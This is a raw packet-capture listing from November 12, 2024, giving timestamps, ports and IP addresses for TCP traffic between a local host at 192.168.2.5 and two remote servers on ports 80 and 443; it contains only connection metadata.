Nov 12, 2024 06:23:35.247410059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247451067 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247451067 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247466087 CET	443	54540	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.247530937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247539997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247550964 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247565985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247565985 CET	54540	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.247569084 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247580051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247597933 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247723103 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247797966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247807026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247817039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247895956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247914076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.247934103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247945070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247953892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.247972965 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.248040915 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.248172045 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.248181105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.248191118 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.248212099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.248223066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.248234034 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.248238087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.248254061 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.248354912 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.248523951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.248636961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.248646021 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.248688936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.248697996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.248697996 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.248697996 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.248733044 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.248733044 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.251449108 CET	54540	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.251449108 CET	54540	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.251466990 CET	443	54540	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.251476049 CET	443	54540	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.257617950 CET	54548	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.257644892 CET	443	54548	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.257853985 CET	54548	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.258214951 CET	54548	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.258227110 CET	443	54548	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.268660069 CET	443	54538	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.269295931 CET	443	54538	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.269659996 CET	54538	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.269692898 CET	54538	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.269692898 CET	54538	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.269706964 CET	443	54538	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.269716978 CET	443	54538	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.272342920 CET	54549	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.272392988 CET	443	54549	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.273736954 CET	54549	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.274261951 CET	54549	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.274295092 CET	443	54549	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.288567066 CET	443	54539	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.288687944 CET	443	54539	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.288744926 CET	54539	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.288894892 CET	54539	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.288908005 CET	443	54539	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.288933992 CET	54539	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.288939953 CET	443	54539	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.297044992 CET	54550	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.297072887 CET	443	54550	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.297617912 CET	54550	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.297875881 CET	54550	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:35.297888041 CET	443	54550	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:35.362330914 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.362366915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.362385035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.362456083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.362456083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.362915993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.362993956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363003016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363013029 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363014936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363023996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363039017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363042116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363055944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363065004 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363073111 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363074064 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363084078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363090038 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363111973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363121033 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363131046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363132954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363140106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363147974 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363151073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363167048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363218069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363226891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363236904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363236904 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363271952 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363271952 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363383055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363439083 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363449097 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363459110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363478899 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363533020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363554955 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363580942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363590956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363605022 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363643885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363652945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363665104 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363667965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363677979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363687038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363692999 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363723040 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363723040 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363940954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363966942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363976002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.363982916 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.363996983 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.364015102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364025116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364032030 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.364036083 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364056110 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.364083052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.364120960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364131927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364140987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364151001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364160061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364165068 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.364170074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364238977 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.364603996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364613056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364624023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.364701033 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.401680946 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.401691914 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.401899099 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.410666943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.410716057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.410726070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.410733938 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.410770893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.410770893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.477734089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.477749109 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.477761030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.477782011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.477845907 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.478137970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478147030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478158951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478193998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478204966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478209972 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.478281021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.478315115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478326082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478338003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478348017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478358030 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.478537083 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478548050 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478555918 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.478562117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478571892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478583097 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.478636026 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.478668928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478765965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478776932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478787899 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478797913 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478810072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478816986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.478816986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.478955984 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.478985071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.478995085 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479007959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479027987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479027987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479038000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479048014 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479049921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479084015 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479108095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479265928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479276896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479286909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479305029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479321003 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479361057 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479372978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479396105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479413986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479415894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479446888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479466915 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479485989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479497910 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479510069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479521990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479521990 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479541063 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479569912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479579926 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479590893 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479597092 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479608059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479621887 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479671001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479671001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.479985952 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.479995012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.480005026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.480019093 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.480050087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.480060101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.480070114 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.480071068 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.480087996 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.480129957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.480159044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.480169058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.480180979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.480191946 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.480194092 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.480202913 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.480211973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.480212927 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.480249882 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.480249882 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.483426094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483437061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483479977 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.483555079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483566999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483583927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483596087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483606100 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.483607054 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483623028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483628988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483630896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483633995 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.483633995 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483645916 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483648062 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.483654022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.483670950 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.483731985 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.525934935 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.526077032 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.526187897 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.526222944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.526235104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.526248932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.526259899 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.526300907 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.526300907 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593014002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593029022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593040943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593103886 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593105078 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593558073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593569040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593580008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593616009 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593619108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593637943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593637943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593641996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593653917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593664885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593676090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593682051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593697071 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593697071 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593713045 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593717098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593751907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593766928 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593769073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593822002 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593836069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593842030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593873024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593879938 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593883991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593902111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593913078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593920946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593924046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593935013 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.593940020 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.593964100 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594012022 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594077110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594105959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594118118 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594134092 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594167948 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594167948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594180107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594191074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594208002 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594271898 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594285011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594312906 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594324112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594366074 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594366074 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594518900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594530106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594541073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594587088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594587088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594672918 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594679117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594681978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594687939 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:35.594743967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594743967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:35.594829082 CET	80	49779	185.215.113.206	192.168.2.5
